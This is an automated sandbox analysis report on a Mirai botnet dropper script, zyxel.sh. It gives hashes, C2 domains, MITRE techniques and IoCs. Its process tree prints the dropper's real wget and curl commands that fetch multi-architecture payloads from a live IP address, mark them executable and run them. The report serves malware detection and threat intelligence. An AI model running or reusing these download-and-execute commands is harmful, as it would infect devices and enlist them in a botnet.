mirai | a8bf7fd01bb4a16af2fa1b13165f0f2c4753c3271feac14690d4dc6bb3268da0

Analysis

max time kernel
131s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20251218-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20251218-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
19/12/2025, 12:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
zyxel.sh
Size 4KB
Sample251219-pxjvka1pcz
SHA256 a8bf7fd01bb4a16af2fa1b13165f0f2c4753c3271feac14690d4dc6bb3268da0
MD5 559885e87cb41d52cbacef943159c602
SHA1 fb3b3c80ead18d4397b4adebd0bd30c4bbd71fb4
SHA512 13b5534ee49663d969a1ded89650c7b2325ee5088012eceeb8ebbfba30ddae34a83133acc6ef0e6a0a755e4547c18bb3c5a0e9e163f73529a42f01104b8ed908
SSDEEP 48:vUhMV4kuoUq1V4KoUrHrWV4joUNoV49oUEpEEV4EhoUJkV4BoUq1V4KoUOZV4GoW:vbppWP9LBzOEpObLZKbsDNjT1cDYDbbu
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

botnet unstable defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

cnc.504.su
scan.504.su

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (64513) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1560	chmod
1572	chmod
1582	chmod
1592	chmod
1602	chmod
1612	chmod
1510	chmod
1520	chmod
1540	chmod
1622	chmod
1632	chmod
1642	chmod
1530	chmod
1550	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/76d32be0	1511	zyxel.sh
/tmp/76d32be0	1521	zyxel.sh
/tmp/76d32be0	1531	zyxel.sh
/tmp/76d32be0	1541	zyxel.sh
/tmp/76d32be0	1551	zyxel.sh
/tmp/76d32be0	1561	zyxel.sh
/tmp/76d32be0	1573	zyxel.sh
/tmp/76d32be0	1583	zyxel.sh
/tmp/76d32be0	1593	zyxel.sh
/tmp/76d32be0	1603	zyxel.sh
/tmp/76d32be0	1613	zyxel.sh
/tmp/76d32be0	1623	zyxel.sh
/tmp/76d32be0	1633	zyxel.sh
/tmp/76d32be0	1643	zyxel.sh

Modifies Watchdog functionality 1 TTPs 28 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0

Enumerates active TCP sockets 1 TTPs 13 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 28 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0

Changes its process name 14 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	a	1511	76d32be0
Changes the process name, possibly in an attempt to hide itself	a	1521	76d32be0
Changes the process name, possibly in an attempt to hide itself	a	1531	76d32be0
Changes the process name, possibly in an attempt to hide itself	a	1541	76d32be0
Changes the process name, possibly in an attempt to hide itself	a	1551	76d32be0
Changes the process name, possibly in an attempt to hide itself	a	1561	76d32be0
Changes the process name, possibly in an attempt to hide itself	a	1573	76d32be0
Changes the process name, possibly in an attempt to hide itself	a	1583	76d32be0
Changes the process name, possibly in an attempt to hide itself	a	1593	76d32be0
Changes the process name, possibly in an attempt to hide itself	a	1603	76d32be0
Changes the process name, possibly in an attempt to hide itself	a	1613	76d32be0
Changes the process name, possibly in an attempt to hide itself	a	1623	76d32be0
Changes the process name, possibly in an attempt to hide itself	a	1633	76d32be0
Changes the process name, possibly in an attempt to hide itself	a	1643	76d32be0

Reads system network configuration 1 TTPs 13 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1258/cmdline	76d32be0
File opened for reading	/proc/1373/cmdline	76d32be0
File opened for reading	/proc/488/cmdline	76d32be0
File opened for reading	/proc/527/cmdline	76d32be0
File opened for reading	/proc/682/cmdline	76d32be0
File opened for reading	/proc/893/cmdline	76d32be0
File opened for reading	/proc/901/cmdline	76d32be0
File opened for reading	/proc/981/cmdline	76d32be0
File opened for reading	/proc/990/cmdline	76d32be0
File opened for reading	/proc/1021/cmdline	76d32be0
File opened for reading	/proc/566/cmdline	76d32be0
File opened for reading	/proc/962/cmdline	76d32be0
File opened for reading	/proc/1064/cmdline	76d32be0
File opened for reading	/proc/1089/cmdline	76d32be0
File opened for reading	/proc/1257/cmdline	76d32be0
File opened for reading	/proc/1320/cmdline	76d32be0
File opened for reading	/proc/1329/cmdline	76d32be0
File opened for reading	/proc/629/cmdline	76d32be0
File opened for reading	/proc/664/cmdline	76d32be0
File opened for reading	/proc/920/cmdline	76d32be0
File opened for reading	/proc/1043/cmdline	76d32be0
File opened for reading	/proc/1130/cmdline	76d32be0
File opened for reading	/proc/1495/cmdline	76d32be0
File opened for reading	/proc/404/cmdline	76d32be0
File opened for reading	/proc/481/cmdline	76d32be0
File opened for reading	/proc/638/cmdline	76d32be0
File opened for reading	/proc/641/cmdline	76d32be0
File opened for reading	/proc/1029/cmdline	76d32be0
File opened for reading	/proc/1144/cmdline	76d32be0
File opened for reading	/proc/1168/cmdline	76d32be0
File opened for reading	/proc/1663/cmdline	76d32be0
File opened for reading	/proc/709/cmdline	76d32be0
File opened for reading	/proc/957/cmdline	76d32be0
File opened for reading	/proc/1017/cmdline	76d32be0
File opened for reading	/proc/408/cmdline	76d32be0
File opened for reading	/proc/513/cmdline	76d32be0
File opened for reading	/proc/651/cmdline	76d32be0
File opened for reading	/proc/1476/cmdline	76d32be0
File opened for reading	/proc/1647/cmdline	76d32be0
File opened for reading	/proc/1669/cmdline	76d32be0
File opened for reading	/proc/427/cmdline	76d32be0
File opened for reading	/proc/595/cmdline	76d32be0
File opened for reading	/proc/915/cmdline	76d32be0
File opened for reading	/proc/1069/cmdline	76d32be0
File opened for reading	/proc/409/cmdline	76d32be0
File opened for reading	/proc/1000/cmdline	76d32be0
File opened for reading	/proc/1045/cmdline	76d32be0
File opened for reading	/proc/1087/cmdline	76d32be0
File opened for reading	/proc/1143/cmdline	76d32be0
File opened for reading	/proc/1187/cmdline	76d32be0
File opened for reading	/proc/1646/cmdline	76d32be0
File opened for reading	/proc/1076/cmdline	76d32be0
File opened for reading	/proc/1084/cmdline	76d32be0
File opened for reading	/proc/1657/cmdline	76d32be0
File opened for reading	/proc/537/cmdline	76d32be0
File opened for reading	/proc/940/cmdline	76d32be0
File opened for reading	/proc/977/cmdline	76d32be0
File opened for reading	/proc/1038/cmdline	76d32be0
File opened for reading	/proc/1293/cmdline	76d32be0
File opened for reading	/proc/1651/cmdline	76d32be0
File opened for reading	/proc/478/cmdline	76d32be0
File opened for reading	/proc/666/cmdline	76d32be0
File opened for reading	/proc/1013/cmdline	76d32be0
File opened for reading	/proc/1055/cmdline	76d32be0

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1513	wget
1518	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.i686	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.i686	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arc	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arc	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.x64	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.x86	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mpsl	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.m68k	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.spc	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.x86	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mpsl	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm6	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.ppc	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.m68k	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4	curl
File opened for modification	/tmp/76d32be0	zyxel.sh
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mips	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mips	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm5	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm6	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm7	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm7	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.spc	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm5	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.ppc	wget

/tmp/zyxel.sh
/tmp/zyxel.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:1499
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
  2⤵
  - Writes file to tmp directory
  PID:1500
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
  2⤵
  - Writes file to tmp directory
  PID:1508
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.x86
  2⤵
  PID:1509
- /bin/chmod
  chmod +x 76d32be0 config-err-cn5zUy db0fa4b8db0333367e9bda3ab68b8042.x86 netplan_8gbbljgp snap-private-tmp ssh-3uMRqyT54wC2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-bolt.service-0lCU0N systemd-private-38b50abdf65f4cc69b121c0dd958d784-colord.service-omeHWV systemd-private-38b50abdf65f4cc69b121c0dd958d784-ModemManager.service-oN6XO2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-resolved.service-2dd8td systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-timedated.service-An1pBp zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1510
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Changes its process name
  PID:1511
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1513
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1518
- /bin/chmod
  chmod +x 76d32be0 config-err-cn5zUy db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.x86 netplan_8gbbljgp snap-private-tmp ssh-3uMRqyT54wC2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-bolt.service-0lCU0N systemd-private-38b50abdf65f4cc69b121c0dd958d784-colord.service-omeHWV systemd-private-38b50abdf65f4cc69b121c0dd958d784-ModemManager.service-oN6XO2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-resolved.service-2dd8td systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-timedated.service-An1pBp zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1520
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:1521
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1523
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1528
- /bin/chmod
  chmod +x 76d32be0 config-err-cn5zUy db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 netplan_8gbbljgp snap-private-tmp ssh-3uMRqyT54wC2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-bolt.service-0lCU0N systemd-private-38b50abdf65f4cc69b121c0dd958d784-colord.service-omeHWV systemd-private-38b50abdf65f4cc69b121c0dd958d784-ModemManager.service-oN6XO2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-resolved.service-2dd8td systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-timedated.service-An1pBp zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:1531
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
  2⤵
  - Writes file to tmp directory
  PID:1533
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
  2⤵
  - Writes file to tmp directory
  PID:1538
- /bin/chmod
  chmod +x 76d32be0 config-err-cn5zUy db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 netplan_8gbbljgp snap-private-tmp ssh-3uMRqyT54wC2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-bolt.service-0lCU0N systemd-private-38b50abdf65f4cc69b121c0dd958d784-colord.service-omeHWV systemd-private-38b50abdf65f4cc69b121c0dd958d784-ModemManager.service-oN6XO2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-resolved.service-2dd8td systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-timedated.service-An1pBp zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1540
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:1541
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
  2⤵
  - Writes file to tmp directory
  PID:1543
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
  2⤵
  - Writes file to tmp directory
  PID:1548
- /bin/chmod
  chmod +x 76d32be0 config-err-cn5zUy db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 netplan_8gbbljgp snap-private-tmp ssh-3uMRqyT54wC2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-bolt.service-0lCU0N systemd-private-38b50abdf65f4cc69b121c0dd958d784-colord.service-omeHWV systemd-private-38b50abdf65f4cc69b121c0dd958d784-ModemManager.service-oN6XO2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-resolved.service-2dd8td systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-timedated.service-An1pBp zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:1551
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
  2⤵
  - Writes file to tmp directory
  PID:1553
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
  2⤵
  - Writes file to tmp directory
  PID:1558
- /bin/chmod
  chmod +x 76d32be0 config-err-cn5zUy db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 netplan_8gbbljgp snap-private-tmp ssh-3uMRqyT54wC2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-bolt.service-0lCU0N systemd-private-38b50abdf65f4cc69b121c0dd958d784-colord.service-omeHWV systemd-private-38b50abdf65f4cc69b121c0dd958d784-ModemManager.service-oN6XO2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-resolved.service-2dd8td systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-timedated.service-An1pBp zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1560
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:1561
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
  2⤵
  - Writes file to tmp directory
  PID:1565
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
  2⤵
  - Writes file to tmp directory
  PID:1570
- /bin/chmod
  chmod +x 76d32be0 config-err-cn5zUy db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 netplan_8gbbljgp snap-private-tmp ssh-3uMRqyT54wC2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-bolt.service-0lCU0N systemd-private-38b50abdf65f4cc69b121c0dd958d784-colord.service-omeHWV systemd-private-38b50abdf65f4cc69b121c0dd958d784-ModemManager.service-oN6XO2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-resolved.service-2dd8td zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1572
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:1573
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
  2⤵
  - Writes file to tmp directory
  PID:1575
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
  2⤵
  - Writes file to tmp directory
  PID:1580
- /bin/chmod
  chmod +x 76d32be0 config-err-cn5zUy db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 netplan_8gbbljgp snap-private-tmp ssh-3uMRqyT54wC2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-bolt.service-0lCU0N systemd-private-38b50abdf65f4cc69b121c0dd958d784-colord.service-omeHWV systemd-private-38b50abdf65f4cc69b121c0dd958d784-ModemManager.service-oN6XO2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-resolved.service-2dd8td zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1582
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:1583
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
  2⤵
  - Writes file to tmp directory
  PID:1585
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
  2⤵
  - Writes file to tmp directory
  PID:1590
- /bin/chmod
  chmod +x 76d32be0 config-err-cn5zUy db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 netplan_8gbbljgp snap-private-tmp ssh-3uMRqyT54wC2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-bolt.service-0lCU0N systemd-private-38b50abdf65f4cc69b121c0dd958d784-colord.service-omeHWV systemd-private-38b50abdf65f4cc69b121c0dd958d784-ModemManager.service-oN6XO2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-resolved.service-2dd8td zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1592
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:1593
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
  2⤵
  - Writes file to tmp directory
  PID:1595
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
  2⤵
  - Writes file to tmp directory
  PID:1600
- /bin/chmod
  chmod +x 76d32be0 config-err-cn5zUy db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 netplan_8gbbljgp snap-private-tmp ssh-3uMRqyT54wC2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-bolt.service-0lCU0N systemd-private-38b50abdf65f4cc69b121c0dd958d784-colord.service-omeHWV systemd-private-38b50abdf65f4cc69b121c0dd958d784-ModemManager.service-oN6XO2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-resolved.service-2dd8td zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1602
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:1603
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i686
  2⤵
  - Writes file to tmp directory
  PID:1605
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i686
  2⤵
  - Writes file to tmp directory
  PID:1610
- /bin/chmod
